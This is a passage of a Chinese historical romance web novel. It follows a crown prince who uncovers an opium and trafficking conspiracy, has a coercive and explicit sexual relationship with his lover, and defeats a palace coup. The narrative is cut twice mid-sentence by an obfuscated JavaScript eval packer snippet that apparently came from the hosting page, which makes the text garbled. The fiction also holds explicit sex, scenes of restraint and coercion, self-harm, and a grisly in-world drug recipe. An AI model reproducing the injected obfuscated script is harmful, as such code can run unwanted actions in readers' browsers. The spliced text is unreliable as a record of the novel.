郑绥察觉他情绪不对,却不好上前,崔鲲会意,便岔开话,“怕殿下无聊,他从家里翻出几本手记,估计殿下感兴趣,拿来给殿下解闷。” 萧玠便将襁褓让给崔鲲,接过本子一翻,惊喜道:“是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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穿上裘衣后,萧玠在读完五经的间隙翻完了李寒的全部文稿。他那部《元和玉升遗事新编》里有一部分志怪笔记,记录某事某地神异故事,再揭露这神异画皮下暗藏怎样的玄机。玉升年间柳州的一桩怪事引起萧玠警惕。 李寒记曰:五通神圣显灵,夜入人户,遍□□女。畏其威德,献未婚女若干以止其乱。某曰:鬼神者,荒谬之说也。神乱者,人乱也。时刺史宗戴勾结寇党影子,诸女之祸由此肇端。玉升元年,秦君至柳,起诸女棺而验之。俱开胸,犹处子。复询乡里,咸云众女手脉心脉断绝一事。君疑贼党取处子血以制秘药,故里通官府,遍淫乡中,又勾结道士,百姓惊恐而争献处子。 处子,鲜血,影子,柳州。 一道闪电劈中萧玠头脑,他浑身一竦跳下榻来。 潮州那些被拐卖但被用作妓女的女孩,说不定正与此事相关! 萧玠在这部笔记末,找到了李寒对影子的记录。影子身中观音手,不得解药则亡于弱冠。解药之方,李寒多年行走听闻,有所揣度: 已知引药当有罂粟蒴果、处子之血,后巡英州,见一怪书记闻,疑需生剖婴儿脑以入药。其余药引,尚未得闻。禽兽之行,天打雷劈。 萧玠浑身发抖。 唐翀说,柳州之中,丽春花最盛…… 李大为说,要进蜃楼需得五十两金。若没有,一个黄花闺女,或俩奶娃娃也可以…… 萧玠确信,柳州阿芙蓉案正在影子操作之中。在崔鲲再次造访时,他将这个消息传递给她,要她面圣奏报陛下。崔鲲下次到来时,萧玠拉住她询问情况。崔鲲道:“陛下说,殿下无需忧虑,保养自身为上。” 萧玠松一口气,又问:“陛下气色怎么样?” 崔鲲有些迟疑,“臣并没有见到陛下,刚刚的话是大内官转述的。” “陛下称病,已经多日不朝了。” *** 萧恒这场古怪的大病诱因颇多,天气骤冷、常日疲惫又怠慢饮食,终于磨耗了他铁打的身体。托杨峥以监国事后,萧恒拒见除其之外的任何臣下,包括萧玠。 萧玠忧心如焚,求见折子也屡屡被拒,甚至批复奏折的已经变成杨峥,他不敢想象萧恒的身体到了什么地步。甚至这年的除夕和上元,萧恒也只让人送来礼物,没有陪萧玠守岁和过生日。等到新年二月,行宫收到了第二道旨意,仍是杨峥代笔:上巳节,由皇太子代天子主持春祭,典礼结束后,太子迁居甘露殿。 朝中人心惶惶,半年时间以来,皇帝没有对柳州案作出更新的解释,而是直接将此事掀篇。这种强硬态度更像为太子铺最后一段路,再加上大内官日复一日的愁容,所有人都说,皇帝真的病入膏肓了。 圣旨下达后,各府的上巳节礼流水价送入行宫。西暖阁本可罗雀的门庭又热闹起来,原本进言弹劾的众臣改换嘴脸,纷纷向这位未来的新君表示忠心。他们废太子另立宗亲为储的计划泡汤了,毕竟皇帝一旦殡天,未废的皇太子作为独子必承大业。 萧玠收了礼物,但也没收。他阅过礼单做好誊记后,命内官将所有礼物退返。这些礼品单子成为他衡量朝臣的至关重要的一把尺子。 瑞官照例为他读单子,正念到嘉国公府:“金纱翠笼灯十盏,珊瑚花树十株,青玉龙纹香炉一对,郎窑红瓷插花一对,新鲜鲥鱼六笼,竹荪六笼,雪蛤膏八盒,白玉扳指一枚……” 萧玠叫停,“等等,白玉扳指,一枚?” 瑞官笑道:“确是一枚。” 官员进献礼物以双数为佳,若是嘉国公所献,如何也该是一对。 萧玠呼吸一紧。 是虞闻道送的。 但虞闻道并非不知分寸之人,他退还扳指时已将意思说清,虞闻道此时送来,究竟何意? 萧玠道:“将扳指拿来我瞧瞧。” 瑞官从礼物堆里找到一只小匣子,捧给萧玠。萧玠打开一看,果然发现一张字条。 仅扫过短短一眼,他便将字条捏在掌心。然后去案边提笔写了些什么,放在匣子里重新递给瑞官,“一块退回去吧。” 瑞官掩门而出时,萧玠把字条丢进灯里。那薄薄的纸笺浸了他的冷汗,化成空中一缕湿润的青烟。 当夜,一钩冷月映窗,照上行宫罗帐。临近子时,帐中簌簌微动,不一会萧玠从帐内钻出,将裘衣穿好,蹑手蹑脚提灯出门。 月亮追着萧玠背影,将前路照得亮亮堂堂。他穿过回廊,钻进后花园里,假山后的临水亭中,已经坐着一个人影。 那人披着内侍所穿的鸭羽短氅,一见萧玠当即撩袍跪倒。萧玠将灯放在桌上,罕见地没有扶人。淡黄灯火照亮他欲抬又缩回的双手时,也照亮那人抬起的虞闻道的脸。 98.第 98 章 夜半时分,萧玠裹紧裘衣回西暖阁时,看到本该漆黑的屋里灯火通明。 他本就苍白的脸被光亮映成纸白,那盏要灭不灭的灯笼从手里哆嗦一会,被他轻轻搁在门外。萧玠推开门,看见茶碗边的烛台已经亮了,烛台边沈娑婆静静坐着,沈娑婆脚边,是另一只茶碗的碎片。 萧玠勉强维持镇定,掩门进来,问:“怎么了?” 沈娑婆披头散发,抬起脸,白色的脸上烧出两个大洞般,黑洞洞地盯着萧玠。他喃喃道:“闹鬼。殿下干什么去了?” 萧玠心隆隆响着,上前几步,道:“我梦魇了。” 沈娑婆点点头,“哦,梦魇。别是我没找着的鬼钻到殿下梦里去了。” 他站起来,静夜里响起木屐踢踏的声音。宫灯灯罩里烛火影子飘忽忽的,像鬼的影子。沈娑婆也烛影一样飘忽忽地荡过来。他看着萧玠的脸,轻声说:“我想想,今晚闹的是五通神,还是羽衣人?” 萧玠听出他的讽刺之意,只能强项道:“你什么意思?” “我什么意思,”沈娑婆笑了一下,“今晚后花园中,殿下不就见了一个穿羽衣之人吗?” 萧玠后脊梁一冷,道:“你跟着我。” 沈娑婆说:“我是去找你,殿下。你有梦里跳井的病史,我不该找你吗?” 他狭长的黑眼睛透过一缕两缕乱发望过来,眼角那粒痣也血一样鲜红起来。沈娑婆幽幽道:“还是讲讲你们干了什么吧。我知道殿下好古,行动追效古之贤者,别这件事也跟古人学了。就是殿下爱看的那本《搜神记》,元帝永昌中,暨阳人任谷因耕息于树下,忽有一人着羽衣就淫之。” 好阴毒的语言,好冰冷的语气。萧玠一下子不知道,心中是恼羞,是惊惧,是伤心还是不可置信。他两片嘴唇上下哆嗦着,只能叫出对方的名字:“沈娑婆!” “我还没说完。”沈娑婆冷冰冰打断,他慢慢踱到萧玠身后,像平常拥抱一样,脸垂在萧玠耳边,手臂将萧玠要拢不拢地裹在怀里,“羽衣人既而不知所在,啊,简直一模一样。接下来该是什么,任谷遂有妊……殿下也会怀胎吗?” 那只手覆上小腹时,萧玠感觉肚脐像被一条蛇爬过一样浑身一麻,他难堪地急声叫道:“你混账!” 紧接着,他两只挣扎的手被沈娑婆一只右手捏在掌心,他空余的左手仍在按揉萧玠小腹,似乎里面真有胎动,又像他们那次失败的交卝欢,他边进行边帮萧玠放松一样。沈娑婆的气息和发丝一起拂在萧玠耳边,萧玠感觉一层栗从后心一直爬到耳后。 这样陌生的沈娑婆让他好害怕,一个雨夜的阴霾随沈娑婆的影子从萧玠身上重新闪动一下,他麻掉的双手重新挣动起来,却被沈娑婆按住腹部死死压在怀里。 那只左手攥紧萧玠腰带,声音也在耳边,似乎是纯然的疑问:“殿下一直无法和臣全周公之礼,是不能,还是不肯?是怕怀上臣的孩子,成一桩丑闻?” 两人较劲间,沈娑婆宽大的寝衣袖子滑落,萧玠看到他尚未来得及包扎的新绽的伤口,是那恶魔的眼睛再次睁开了,一用力就流泪一样地渗出血来。他忙软声劝道:“七郎,你听我讲,我这一趟是有要事。咱们先包一下伤口,好不好?” 沈娑婆却毫不知痛,仍静静道:“要事,非得深更半夜,园中幽会。” 萧玠不说话。 片刻后,他松开萧玠手腕,却仍在萧玠背后抱着,问:“你见的什么人?” 萧玠以为他平静下来,柔声道:“你看到了,鸭羽短氅,是个宦官。” “撒谎。” 沈娑婆笑了一下,探颈贴在萧玠鬓边。这动作一下子让萧玠想起绕颈的蛇。他松开怀抱,却脸贴脸地对萧玠道:“他若是宦官,玉陷园里,殿下岂会酿成大祸?” 萧玠感觉一个霹雳从心口劈下来,整个身子都不可控制地哆嗦着。他难以相信,将他从泥淖里拉出来的人,他现在的枕边人会用这件事羞辱他。这是我最要命的伤口,是你亲手帮我治好的伤口呀! 他的眼泪一下子大串大串地掉下来,胸口像被堵住,几乎说不出一句话,只颤巍巍叫:“你……” 沈娑婆第一次无视他的伤痛,伸手捏住他下颌,将他的脸扭到和自己对面的角度。水滴尚能穿石,他让萧玠眼泪打湿的手指,却比顽石还要不可摧动。 沈娑婆捏紧萧玠的脸,轻轻垂首,额头抵住萧玠额头,低声道:“臣同殿下说过,你选了臣,郑郎虞郎不能再看一眼,殿下真把臣这句话记在心上吗?潮州柳州和郑绥同出同入,现在又想和嘉国公世子旧情复燃。殿下,真的把臣放在眼里吗?” 萧玠对上他的眼睛,看到那双宛如竖瞳的眼仁里,闪烁的针尖一样的冷光——沈娑婆不对劲。 他一缕游丝般的神智终于从胸中垒块的缝隙里挤出来,一下子忘了流泪,喃喃道:“七郎,七郎你怎么了?” 沈娑婆面无表情,问:“你干什么去了。” 萧玠道:“他有要紧事找我。” “什么事。” 萧玠双唇张了一张,终究紧紧抿起。 他一垂眼睛,沈娑婆就加大捏住他脸颊的力道,迫使他和自己对视。萧玠何曾受过他这等对待,刚止住的眼泪又涌上来。沈娑婆皱眉看他一会,突然压下脸吻他,萧玠不肯,他就咬住他嘴唇强迫他开口。萧玠痛得泪花要出来,要喘息一下,嘴里就被一条舌头过分粗暴地捅进来。 这和两个人之前任何一次接吻都截然不同,那些暧昧的、温存的细语呢喃,都被此时此刻沈娑婆那把分不清是怒火还是欲卝火的烈焰烧成飞灰。他下得了口咬萧玠,萧玠却舍不得咬他,叫他吻得几乎要喘。 沈娑婆一手把他抱在怀里,一手抄到他袍下。萧玠受不了,唇舌却被他占着,声音都被吞吃下去。一会就软了身子,却被托住腰紧紧箍着,他忍不住,去找沈娑婆掌心。他被引诱起来的主动甫一出现,沈娑婆却像等待这一刻,全部动作瞬间戛然。 他终于离开萧玠的嘴巴。 在他俯到萧玠耳边时,沈娑婆重新拢捻起来。寂静里,萧玠声音格外清晰。他吻了吻萧玠耳廓,在萧玠哆嗦着叫他七郎时,沈娑婆轻轻问:“他亲你了吗?他亲你的时候,你兴奋了吗?” 萧玠在他怀里一下子僵住了,下一刻拼命挣扎起来。他挣得毫无章法,轻而易举就被沈娑婆反剪双手压在床上。萧玠感觉他两只手腕被一只手钳住举到头顶,紧接着他被翻过来,意识到沈娑婆在撕他的腰带。 萧玠一下子怕了,咬牙切齿的声音里含混着哭腔,叫道:“你不能这么对我,沈娑婆你不能这么对待我……” 沈娑婆却干净利索地将他腰带扯下来,将他双手打了个死结。他整个人压在萧玠身上,一只手攥住萧玠被绑住的手腕,一只手万般怜惜地抚过他脸颊,在萧玠哆哆嗦嗦的哽噎里,落在耳垂上轻轻揉捻。 沈娑婆轻声问:“殿下知道女人的耳坠子是怎么来的吗?古时候为防妻子半夜离床偷情,有个丈夫就做了耳坠,妻子但凡动身就能把他从梦中惊醒。我真该给你打副坠子戴在耳朵上。” 他恍然大悟道:“对啊,为什么不打副坠子呢。” 他眼中突然闪动的疯狂的精光叫萧玠浑身寒毛倒竖,他哭着叫:“七郎,七郎你怎么了呀……你别这样,我害怕!” 沈娑婆却无动于衷,在萧玠越来越凄厉的叫喊声里把他剥掉,从衣服堆里找出汗巾捆住他将他扔在床上。沈娑婆连帐子都没有落,将衣袍被褥一把卷走,快步走到橱子里翻找什么。 萧玠一会在疼痛一会在冷静,疼痛的他占据上风时,他为接下来的一切哭得肺叶都要揪成一团。不一会冷静的他就爬上山峰,警告他,沈娑婆状态不正常,他手臂上有新伤,他这种疯狂的精神状态是长期高压的结果,一下子被今夜和虞闻道的私下会面点燃了,还有他的话,不对,很不对,他提起的《搜神记》…… 冷静的萧玠剖析利害时,沈娑婆大步流星的走了回来。萧玠看到他指间银光闪烁,是一枚锋利的缝衣针。萧玠一下子知道,他疯了,他真的要扎透自己的耳朵。这是爱吗,哪有这样的爱? 萧玠声嘶力竭,却因为哭泣和气短几乎发不出声音,他拼命摇头,身体往床里缩。但他缩一寸,沈娑婆就跪在床上逼近两寸。萧玠上气不接下气地叫:“你不能……你凭什么这么羞辱我!” 沈娑婆冷静、冷漠地问:“你没有羞辱臣吗?是你说臣家中有妇,现在臣的家妇跑去和别人偷情,臣不该气恼吗?” 萧玠整个身子暴露在春夜里,感觉整个人一条冰棍一样,连同那颗心,从头凉到脚。他看着沈娑婆,眼泪像头发一样晕染了整片枕头,终于死掉一样,身体软凉凉地颓下去。 萧玠不再挣扎,脸别到一边,用哭哑的嗓子道:“你穿吧,穿了你就能安心了吧。” 他闭紧眼睛,听到沈娑婆急促的呼吸声,那湿漉漉的气流随沈娑婆冰冷的体温越来越近。他一具死人般冰凉的身体,被沈娑婆活蛇般冰凉的身体所盘绕。不一会,萧玠感到有水滴在脸上,神思混沌间,以为是蛇牙滴落的毒涎,清醒了一下,知道是沈娑婆的汗水。 那汗水滴落的好快,一滴两滴,活物一样滚进他嘴里,尝到腥锈味的时候萧玠一下子睁开眼睛。 那枚银针被整根刺进沈娑婆拇指里。 他右手捏在左手臂上,不一会,就有大片鲜红湿透衣袖。萧玠知道他把伤口捏开了,他哭着,沈娑婆反而如释重负地笑了。他向萧玠伸了伸手,萧玠畏惧地瑟缩一下,尽量把自己光裸的身体蜷成一团。 沈娑婆没说话,将那枚针拔出来,一股血也就像赤练蛇一样嗖地从他手里跑出来。沈娑婆没有止血,将捆萧玠手腕的腰带解开,再去解他脚上的汗巾,解松一个扣时,他突然俯在萧玠腿边,双手抱住后脑,吭哧吭哧地哭起来。 萧玠越过满床血迹爬过去抱住他。沈娑婆手那么冷,连血也是,萧玠手臂被他的血浸透,却像泡了一层黏腻的冷油。他抱着沈娑婆哭道:“我和他没什么,我和他真没什么呀!” 第二天醒来时,萧玠发觉自己已经穿好衣裳,床铺也更换一新。沈娑婆仰面和他躺在一个枕上,睁着眼睛看帐顶。他右手拇指的窟窿已经凝血,变成痣一样的黑红血洞。左臂又添了新伤口,和之前整齐裁割的伤痕不一样,撕裂的口子仍渗着血,萧玠眼前浮现他拿碎瓷片割手的情景。 萧玠脑中闪过各种碎片,昨夜的幽径,花草泥土的湿冷,虞闻道带来的惊雷的讯息,沈娑婆冷静的笑意,地上茶碗的碎片,案上盛有残茶的另一只茶碗……他看向沈娑婆时,目光刮过床下,看到他那双干净鞋底朝天的木屐。 萧玠冷静了。 他动了动嗓子,发现已经完全哑掉。他低声叫:“七郎。” 沈娑婆浑身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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行宫之人都晓得萧玠紧张沈娑婆,几乎到了寸步不离的程度。沈娑婆白日演曲,萧玠也要陪在身旁,全然不顾流言中对他的狎戏艳情的编排。但他也不是全然无所事事,杨峥批过的折子有一部分移送到行宫给他过目,临近三月,天子禁军也要到行宫与他勘合符印。 兵权为江山之重,大多为皇帝独揽,更别说天子十二卫直接卫护皇城,更是将皇帝身家性命握于掌中。是故禁军调动,必须由皇帝与大将军两半虎符勘合,这也成为皇家军队运作的第一铁律。十年前确有例外,皇帝曾给予秦公以大将军印调领龙武卫的权柄,但这样交托生死的信任在一场原因未明逼宫中化为齑粉。很多朝臣议论,皇帝后期对军队的严加把握或许正是源于这次背叛。他们无法窥破二人明堂之后罗帷之内交颈鸳鸯的内在联系,认为这才是秦公被驱逐出境的真正原因。军权不能分享,但皇帝似乎并未吸取教训,十年之后,他又赋予了太子玉符与虎符相当的权力,现在靠萧玠一只手掌也可以调动万马千军。 去年萧玠回归后,各地又有粮荒,甚至出现抢粮暴动。萧恒便外派六卫由各卫将军统率,去各州监管放粮事宜。如今留在京中的,还有以龙武卫为首的六支军队。 三月初一,皇太子萧玠在行宫西暖阁接见了所有四品以上的在京禁军官员。 当天,六支禁卫队的高级将领在打开的帷帘后再见太子,雪白风毛围出一张素面,浑身药香依旧淡淡。太子笑着抬手,说众卿平身吧,但他们已闻知那只纤细手腕转覆便已血淹柳州城。这样文人弱质的少年,竟有逾越他父亲的杀伐决断。 太子取出玉符,声音温和:“陛下的旨意,要我春祭结束后直接回宫,到时候辛苦诸位将军卫护。” 龙武卫大将军尉迟松上前抱拳,“臣等分内之职。” 萧玠道:“马上到节,选了几味香料叫人做了香包,送给诸位添添喜气吧。” 说是勘合玉符,其实只是一个皇太子检阅军容的仪式,目的是让军队归服于太子的权威。但同时,宫内又传出皇帝再废除太子继承制的密旨传闻,真真假假,难以辨认。 皇帝若不属意太子,何以共享军权?可皇帝既然放给太子过分的权力,为什么不提前将他召回东宫,而是要在行宫里准备祭祀典礼? 圣意始终难以窥测,太子启程的日子已经迫近了。 三月初二,行宫上下惠风吹遍,乐者们自发地歌舞彻夜,欢笑声比踏青情歌更早一步喜盈于耳。但那欢笑一经窗户隔膜,也有些耳鸣般的不真实。西暖阁窗上的红仍贴着,是过年时萧玠自己铰的,不少已经褪色,映着窗外梨花,像一堆梅枝的冷灰,在生气勃勃的初春显得不合时宜。沈娑婆坐在窗下,看到床边烛火掩映之处,一个被红框圈禁的双喜。那蜡烛也雕刻龙凤图案,把一个寻常春宵妆扮得如同洞房花烛。 夜间,萧玠难得吃了点酒,和他讲:“明天祭祀结束,我就要回宫了。” 他顿了顿,去摇沈娑婆的手。这是沈娑婆熟知的撒娇姿态。 萧玠央求道:“你跟我一块走,好不好?” 沈娑婆由他握着,说:“我不去了,在这边待惯了。” 萧玠仍不气馁,道:“春祭非同寻常,你不看着我,我害怕。” 沈娑婆只是说:“有些事,殿下总得一个人做。” 萧玠很长时间没有说话。烛泪滴落溅起油花的噼啪声,却炸不松他们之间的寂静哪怕一分。接着,萧玠牵过他的手,捋起袖子,早有预料般看到沈娑婆手臂的新伤口。沈娑婆就这么让他看,大喇喇地,无动于衷。 萧玠盯着他手臂,像看一粒脱手的骰子。他忽然道:“七郎,你那天说任谷的事……我问过太医,我没法怀胎。” “但……你想试试吗?” 99.第 99 章 这是萧玠第一次将沈娑婆推倒自己身下,幸赖那一盏酒的缘故,让他为勇气找到一份借口。从这一点来看,他的确是秦灼的儿子,这和秦灼当年每次引诱萧恒前所做的心理建设并无不同——吃醉了嘛,都是酒的问题嘛。 沈娑婆看他落下罗帐,站在床边脱衣服。先解掉腰带,脱掉上衣、外裤,又解腰间的汗巾。那条月白帕子一松,亵裤也要往下掉,被萧玠一把捏住。在沈娑婆目光里,他有些忸怩,又像鼓起勇气,将最后一件敝体之物脱下身来。 沈娑婆倚在床上,冷静地看他动作,抬起一只手抚摸萧玠嘴唇,问:“殿下会这个吗?像之前臣对殿下那样。” 他说完,继续去看萧玠拽罗帐的手,那红帐子被扯出好几道褶皱,像气红脸的人眉心竖纹。好一会,那只手一松,萧玠一言不发地俯身来解他的腰带。 萧玠从他面前跪下去时,沈娑婆在床边坐起来。他把一边帐子打开,这动作叫萧玠浑身一颤。 沈娑婆说:“我要看清你。” 帐子一开,龙凤花烛火光跳动,是一双明亮的眼睛暗中窥探。萧玠好一会没有动,沈娑婆看到,他额角已经渗出细密的冷汗。沈娑婆不催促,只等待。他似乎把选择权交在萧玠手里,但等待又是一种无声的催促。 萧玠没有让他等待多久。 这让沈娑婆意识到,萧玠今夜的冲动,更大程度源于他心底大无畏的勇气。 萧玠跪在他脚下彻底俯首了。 他把手指插进萧玠后脑,发现才一开始萧玠就出了一头汗。萧玠平日娴于辞令,如今却笨嘴拙舌起来。感觉萧玠想后撤,沈娑婆一只手把他后脑按下去。 他低头,看到萧玠赤身跪地的身形,头上玉簪要掉不掉,乌黑发丝水藻般晕满后背。他捏住萧玠的脸,观察他水光浸润的脸上闪动着怎样窒息又靡卝丽的神色。这比萧玠所做之事更能催情。 屋里没有焚香,降落的气味闷在屋子里。萧玠没能吐出来,叫沈娑婆捏住嘴巴,一会就大声呛咳。他捂着脸坐在地上,沈娑婆以为他在哭泣。过了一会,萧玠摘下手,露出水洗过般的一张通红面孔。他双手握着沈娑婆膝头,慢慢爬起来,这么跪在他身上,双手抱住他颈项,神色有些讨好。 两人额头抵着额头,一会,萧玠就要低头亲他。沈娑婆却扭开他的脸,说:“膻。” 萧玠叫他捏着脸颊,含糊道:“那我去嚼片口檀。” 沈娑婆保持这个动作注视他。萧玠没有挣扎,驯顺得像一个全无尊严的人。一个不像春夜的春夜,一个想过自残的人和一个还在自残的人,没有一个正常人。他们都感觉到,他们的爱情会在今夜死掉一部分。 那有什么办法呢? 沈娑婆看了他好一会,还是吻了吻他的嘴,从枕边拿出一盒香膏,问:“我来,还是你自己来?” 还是一个给定答案的选择题。 萧玠并没有犹豫很长时间。 这是今夜最漫长的时刻,沈娑婆没有回避,就这么一瞬不瞬地盯着萧玠。萧玠不一会开始颤抖,脸抵着枕头,发出屈辱的哽咽之声。沈娑婆替他擦掉眼泪,却没有制止他的行动。 蜡烛烧到一半时,他听到萧玠齿间挤出细微的声音:“你看看……好了吗?” 沈娑婆站到床下,似乎真要履行“看”的职分。萧玠感觉光猛地一晃,后背突然暖热,发觉沈娑婆居然把蜡烛端下来,真真正正地秉烛而观了。 萧玠哭泣起来。不知过了多久,沈娑婆重新坐回床上原本的位置,还是那样漠然地看着他,说:“可以了。我来,还是你自己来?” 你真的要这么对待我,要这么中伤我吗? 这句一语双关,萧玠难以出口。他知道这个夜晚是他们奄奄一息的爱情的关键,想要挽救爱情,他必须赢下这一夜。沈娑婆接近羞辱的态度是对他们未来的消极否定。他投降了,但萧玠还想努力最后一把。 最后一把的努力了。 萧玠没有说话,默默爬到沈娑婆身上,无师自通地落下去。他感觉像被梗住,从肚脐爬上来的异样感突然让他回到那个雨夜。萧玠浑身都麻了,感觉是一条蛇蹿进去。蛇……蛇爬进他身体里钻着……不成,他受不了了! 他有些打退堂鼓,想要撤,但那蛇出一寸,接近崩溃的恐惧感就抓挠他一寸。箭在弦上,他没法子了。 萧玠两手撑住沈娑婆胸膛,落在脸畔的不知道是汗还是泪。红帐之中,只响起萧玠一个人的哽咽,沈娑婆仍一声不吭。他似乎还早,萧玠自己时辰已至,立马被死死阻住。萧玠大叫一声,疯狂地痛哭摇头,手脚并用地扑腾着,整个人一下子被掀在底下。 沈娑婆压在他背上开始了。 萧玠被按住后脑,小声哭起来,头发糊了一脸。一只手穿过他前方将他按实,让一场两情相悦变得像一次强迫。沈娑婆要他说什么,他就依言说什么,从戏文里的隐语到市井的粗鄙不堪,他全都神智不清地承受了。越不能入耳,他就越崩溃,也越强烈,沈娑婆就越兴奋,进而把萧玠抛入求生不得求死不能的境地。 到最后那几句,萧玠的反应近乎癫狂。沈娑婆不得不捏住他的脸,以免撞到墙上。 他感到沈娑婆终于开始吻他。 萧玠几近失声,犹问:“你……你明天陪着我,一直陪着我,好……好不好?” 沈娑婆没有回答。 最后时刻,沈娑婆松开他。萧玠五感混沌了,神智却还游离着。 如果是妇人,这样就能怀孕了吗?他真的不会怀孕吗?他对这个有可能也没可能的虚无的孩子,是期待还是躲避呢? 萧玠的神思没有飘荡多久,艰难地仰面躺过来。他太瘦,平躺就能看见胯骨,现在腹部也微微隆起,沈娑婆的手在上面抚摸着,像真在摸一个胎动。 这么一会,沈娑婆说:“你怀不了的。” 萧玠说:“我知道。” 他又问:“能不能陪着我?” 沈娑婆低头吻了他的嘴唇。 月亮什么时候落下去,萧玠不知道。沈娑婆什么时候离开,萧玠也不知道。等他再睁开眼,透过朝霞般红茫茫的帐子,看到窗上初晨的熹光。身边被窝已经冷了。 萧玠从床上坐了一会,趿鞋下床。昨天的衣物已经污了,不过沈娑婆已经将干净衣物放在床头,应该在他昏睡过去后也替他清理过。 萧玠将贴身衣物穿好后,便有宫人进来收拾打扫。她们打开窗户,更换被褥,用薄荷熏香驱散一夜暧昧浓情,那股辛辣之气直冲脑仁,寒风般叫人头脑冷静。 卧室清扫一新,萧玠也开始更换吉服,遍体红紫藏于厚重衣袍下,依旧是那个雍容得体的皇太子。 原来一夜鱼水的痕迹,这么容易清理和遮蔽。容易清理的东西和灰尘一样不会落在史书里。 萧玠看向铜镜,里面映照两个宫人四只柔荑,将面板前后十八条白玉珠帘垂落,遮挡住他红肿干涩的眼睛。 萧玠问:“我的玉符呢?” 宫人道:“在匣里好好收着呢,殿下要验看吗?” 萧玠道:“不必了,先收拾吧。” 宫人便继续替他更衣熏香,边笑问:“殿下中午才去主持春祭呢,怎么收拾得这样早?这吉服穿上就不好坐了。” 萧玠闻言笑道:“有备无患。” 当时入阁伺候的宫人在白头之后仍然絮絮,说明帝做太子时已经显露天命之相,短短四字就深藏了金口玉言的奥秘。她们说上巳清晨,盛装的皇太子立于窗前,望向东方,那是太阳升起的方向也是大梁宫城的方向。她们不知道太子在眺望或者等待什么,只能陪同等待。等到春日爬上宫檐,行宫三月的艳阳照彻天下,西暖阁的宫女终于听到一路通达的马蹄声。她们看到腰悬鱼袋的年轻将军跳下马背,披甲佩剑地大步跨入,甲胄上未干的血迹动魄惊心。 他在纱帘外住步,拱手道:“逆军清剿完毕,反贼虞许崔张皆已扣押,后续事宜,请殿下示下。” 萧玠转过身,与夜间判若两人的淡漠从他脸上长出来。他颔首,道:“带路吧。” *** 皇太子车驾在两仪门前停下时,械斗已经彻底收束,尸首却还没来得及清理。未干涸的鲜血涂在永巷街石上,把朝阳金光折射得如同夕阳。在萧玠脚上赤舄踏落之时,两侧响起甲胄摩擦和山呼千岁之声。 地上横陈几具身穿中郎将甚至大将军服色的尸体,萧玠在当中看到尉迟松的脸。紧接着,一只手往那张脸上一撕,像剥一层玉米叶一样将那张面皮剥落,露出一张年轻陌生的脸孔。 真正的尉迟松将面具攥成一团,向后挥手。 龙武卫当即上前,手中押着好几名身着朝服的高官。萧玠目光从他们面上次第滑过,最后定在为首者脸上,“嘉国公,好久不见。” 嘉国公虞山铖甚至微笑:“太子殿下耳目通达。” 萧玠笑道:“嘉国公谬赞,听闻有人执我的玉符率禁卫逼宫。这样的新奇事百年难遇,特来凑个热闹,瞧瞧我是怎么造我爹的反的。” 尉迟松将手中匣子打开,露出里面所藏玉符。萧玠将那块白玉掂在手心,道:“陛下病重,留了龙武卫、金吾卫、左右卫、左右骁卫六卫在身边,剩下的六卫等着今天晚上送我回宫。可天一亮,我出去一看,连同太子卫率在内,我身边的兵全被调空。能调令禁军,除了虎符就是我的玉符。” 他笑道:“能在我枕边盗窃玉符,嘉国公麾下真是人才济济。” 虞山铖道:“何如殿下聪慧,专门换了赝品。” 萧玠抿住嘴唇,将那块假货放回匣中,砰地将匣子关上,问:“为什么谋反?” 虞山铖没开口,户部尚书张忆源已经恨声叫道:“你杀了我家十三名子侄,皇太子,十三条人命!张氏从此断子绝孙,你问我为什么谋反?” 萧玠冷冷道:“他们做阿芙蓉买卖,人头落地是罪有应得。我没有追查家教,已经是法外开恩了。” 他转过脸,走近虞山铖,“他们会反,可嘉国公,你不应该。这几位都折了亲生儿子,可世子仍安坐家中,永州虞氏虽与你情谊深厚,但情谊不足以让你这个仕宦三朝的老狐狸背水一战,你绝不会为了几个同宗的子侄造反。” “是你的根本被撼动了,或者,你的谋事要败露了。” 虞山铖目光一闪,依旧未语。萧玠继续道:“去年夏苗之后王云楠越狱谋逆,你正在他家中。你的确也为陛下效力,但不止如此,不是吗?” “对陛下你上表忠心,呈奏一些未伤根本的情报,说是做陛下监视王云楠甚至世族的眼睛。而对王云楠呢,你又换一套说辞,就成了赢得陛下信任、套取天意来为世族谋事的门阀之首。对,还有令郎虞闻道,你特意叫他勤来东宫走动,好成为我这个新君的臂膀和心腹。这样一来,今上、门阀乃至东宫,都在你嘉国公股掌之中。不管陛下和世族的斗法孰胜孰败,你嘉国公都能左右逢源、屹立不倒。” 虞山铖笑了笑:“是么。” “正是如此,三方消息你尽在掌握。王云楠穷途末路之际,他的一些势力只怕也和你共享过。不然,这几位影子杀手怎么会出现在嘉国公手里?”萧玠深吸口气,“我一开始不敢相信,毕竟玉陷园一案坑害的不仅是我,还有你的儿子,而背后主使正是王云楠和程忠兄弟。你居然能和这些人合作,天底下怎么会有你这样的父亲?” 虞山铖道:“天底下都有陛下这样要废太子制的父亲,有臣这种父亲,有什么稀奇?” 萧玠冷声道:“嘉国公,你还不认罪吗?王云楠已死,鬻女案的风波却酿成了横跨潮柳甚至流毒南地的阿芙蓉案!柳州阿芙蓉生意的最大东主是谁,永州虞氏是为谁做事,影子为取蒴果制药又要跟谁合作,你还揣着明白装糊涂吗!” 面对萧玠的义正词严,虞山铖并没有太大波动。或者说在皇太子车盖出现的时候起,今日的结局已经昭然。这场凭借太子之兵逼宫的计划并非一件无缝天衣,但今日的窟窿大得出乎意料,虞山铖意识到将他的计划裁成两段的,或许并不是萧玠一个人的剪刀。 永巷里干燥森冷的夹道风让他头脑冷静下来,每个步骤像皮影戏一样无法控制地在眼前播放。这次的舞台地点落在嘉国公府的厢房。经历丧子之痛的老牌权贵,在八公乱京后再次齐聚一堂—— 【白天的厢房依旧昏暗,嘉国公虞山铖点亮蜡烛。屋里摆放七把椅子,有三把分别坐着户部尚书张忆源、吏部尚书崔有望、左骁卫中郎将许光懋。】 【虞山铖放下烛台坐下后,有四把椅子空着。】 